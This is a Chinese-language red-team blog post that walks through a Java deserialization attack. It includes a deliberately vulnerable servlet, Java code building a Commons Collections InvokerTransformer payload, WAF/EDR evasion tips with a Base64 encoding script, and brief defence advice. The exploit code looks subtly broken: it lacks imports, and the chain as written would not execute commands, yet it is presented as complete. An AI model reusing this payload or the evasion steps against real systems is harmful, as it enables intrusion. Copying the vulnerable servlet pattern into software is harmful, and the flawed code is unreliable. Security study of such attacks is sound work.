一、从一次内网渗透说起

那是一次针对某大型企业的授权渗透测试。我们通过一次普通的钓鱼攻击进入内网,成功在一台开发服务器上拿到了初始 foothold。接下来的目标是进一步横向移动,获得域管理员权限。然而,仔细分析这台服务器后,我们发现它运行了一些定制的 Java Web 应用,并且在其中某个接口有反序列化操作的迹象。

经过几轮探测,我锁定了一个存在反序列化漏洞的接口,并通过定制化的 payload 成功实现 RCE。这次的关键点是理解反序列化漏洞的原理、构造合适的攻击链以及绕过环境限制。接下来,我将完整拆解这次攻击的过程。

---

二、反序列化的陷阱:漏洞成因详解

反序列化的本质是将二进制数据或对象数据流转换回内存对象。许多开发者在设计系统时,未充分验证反序列化的输入内容,导致攻击者可以通过恶意构造的序列化数据,向目标系统注入恶意代码。

成因分析:

  1. 缺乏输入验证:反序列化操作通常假设数据来源是可信的,忽略了外部数据的潜在危险。
  2. 危险类的使用:许多库或框架默认支持一些危险的类,比如 Apache Commons Collections 的 InvokerTransformer,它可以执行任意方法调用。
  3. 功能滥用:开发人员在使用反序列化时,未限制反序列化操作的范围,比如全局类加载器的使用。

真实世界中,反序列化漏洞不仅存在于 Java,也会在 PHP、Python 等语言中出现。下面,让我们通过一个精心设计的环境来复现这种漏洞。

---

三、搭建战场:模拟反序列化漏洞应用

为了演示反序列化攻击,我们将搭建一个简单的 Java Web 应用,并使用 Apache Commons Collections 库来模拟漏洞场景。

环境搭建步骤

  1. 安装 Java Web 环境:使用 Tomcat 作为 Web 容器。
  2. 创建漏洞代码:编写一个简单的 Servlet,接受用户输入并进行反序列化。
  3. 添加依赖:在项目中引入 Apache Commons Collections 库。

以下是漏洞代码示例:

<pre><code class="language-java">import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ObjectInputStream; import java.io.IOException;

public class VulnerableServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { // 从 POST 数据中读取序列化对象 ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = ois.readObject(); // 反序列化操作 response.getWriter().println(&quot;Object received: &quot; + obj.toString()); } catch (Exception e) { response.getWriter().println(&quot;Error: &quot; + e.getMessage()); } } }</code></pre>

部署应用

将上述代码编译成 WAR 包并部署到 Tomcat 容器中,确保可以通过 POST 请求向 /VulnerableServlet 发送数据。

---

四、Payload 构造的艺术:实现 RCE

黑客示意图

反序列化漏洞攻击的核心就是构造恶意的 payload。这里我们利用 Apache Commons Collections 的 InvokerTransformer 类来实现远程代码执行。

构造过程

我们需要以下步骤:

  1. 选择攻击链:Commons Collections 提供了多种可以实现 RCE 的类链。
  2. 生成恶意对象:使用工具如 ysoserial 或者自己手动编码。
  3. 发送 payload:通过 HTTP POST 请求将恶意数据注入目标应用。

以下是使用 Java 构造 payload 的完整代码:

<pre><code class="language-java">import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap; import java.util.Map;

public class ExploitPayload { public static void main(String[] args) throws Exception { // 构造恶意 Transformer Transformer transformer = new InvokerTransformer( &quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;} // 替换为任意命令 );

// 构造恶意 Map Map&lt;String, String&gt; map = new HashMap&lt;&gt;(); map.put(&quot;key&quot;, &quot;value&quot;); Map&lt;String, String&gt; transformedMap = TransformedMap.decorate(map, transformer, null);

// 序列化恶意对象 byte[] serializedData = serialize(transformedMap);

黑客示意图

// 将 payload 写入文件 Files.write(Paths.get(&quot;exploit_payload.ser&quot;), serializedData); }

private static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); return baos.toByteArray(); } }</code></pre>

将生成的 exploit_payload.ser 文件通过 HTTP POST 请求发送到目标 Servlet,即可触发漏洞。

---

五、绕过检测:免杀技巧

现代安全设备(如 WAF 或 EDR)会对反序列化漏洞进行检测。为绕过这些防护,我们可以采用以下策略:

黑客示意图

  1. 变形 payload:通过混淆工具对序列化数据进行转化,使其难以被特征检测到。
  2. 动态生成类:使用 bytecode manipulation 库(如 ASM 或 Javassist)实时生成恶意类,避免固定的攻击链。
  3. 协议变换:通过将原始序列化数据封装在其他协议中,比如 Base64 或 protobuf 格式。

以下是 Python 用于 Base64 编码的示例:

<pre><code class="language-python">import base64

读取原始 payload 数据

with open(&#039;exploit_payload.ser&#039;, &#039;rb&#039;) as f: payload = f.read()

对 payload 进行 Base64 编码

encoded_payload = base64.b64encode(payload)

打印结果

print(encoded_payload.decode())</code></pre>

将编码后的数据发送到目标,可以绕过简单的特征检测。

---

六、如何发现并防御反序列化漏洞

虽然这篇文章是从攻击者视角分析问题,但作为红队人员,我们也需要了解如何帮助企业强化防御。

检测方法

  1. 使用静态代码分析工具扫描危险类的使用。
  2. 对网络流量进行监控,识别序列化数据的传输特征。
  3. 利用 fuzz 测试工具主动探测反序列化接口。

黑客示意图

防御建议

  1. 禁用危险类:通过配置禁止使用 Commons Collections 等高危库。
  2. 数据验证:对序列化数据进行严格的白名单验证。
  3. 替代方案:使用更安全的序列化方式,比如 JSON 或 protobuf。

---

七、红队经验:成功和失败的背后

在这次渗透中,反序列化漏洞为我们打开了一扇门。但成功的关键不仅是技术上的精确攻击,更需要耐心和对目标环境的深入理解。

以下是个人的一些心得:

  1. 信息收集为王:在攻击反序列化漏洞之前,对目标系统的框架和库版本的掌握至关重要。
  2. 持续学习:利用最新的工具和技术,比如 ysoserial 和新的类链。
  3. 攻击链完整性:反序列化漏洞通常只是一个入口,还需要结合横向移动和权限提升实现最终目标。

反序列化漏洞虽经典,但仍然是红队渗透中的王牌技术。希望这篇文章能帮助你更好地理解和应用它。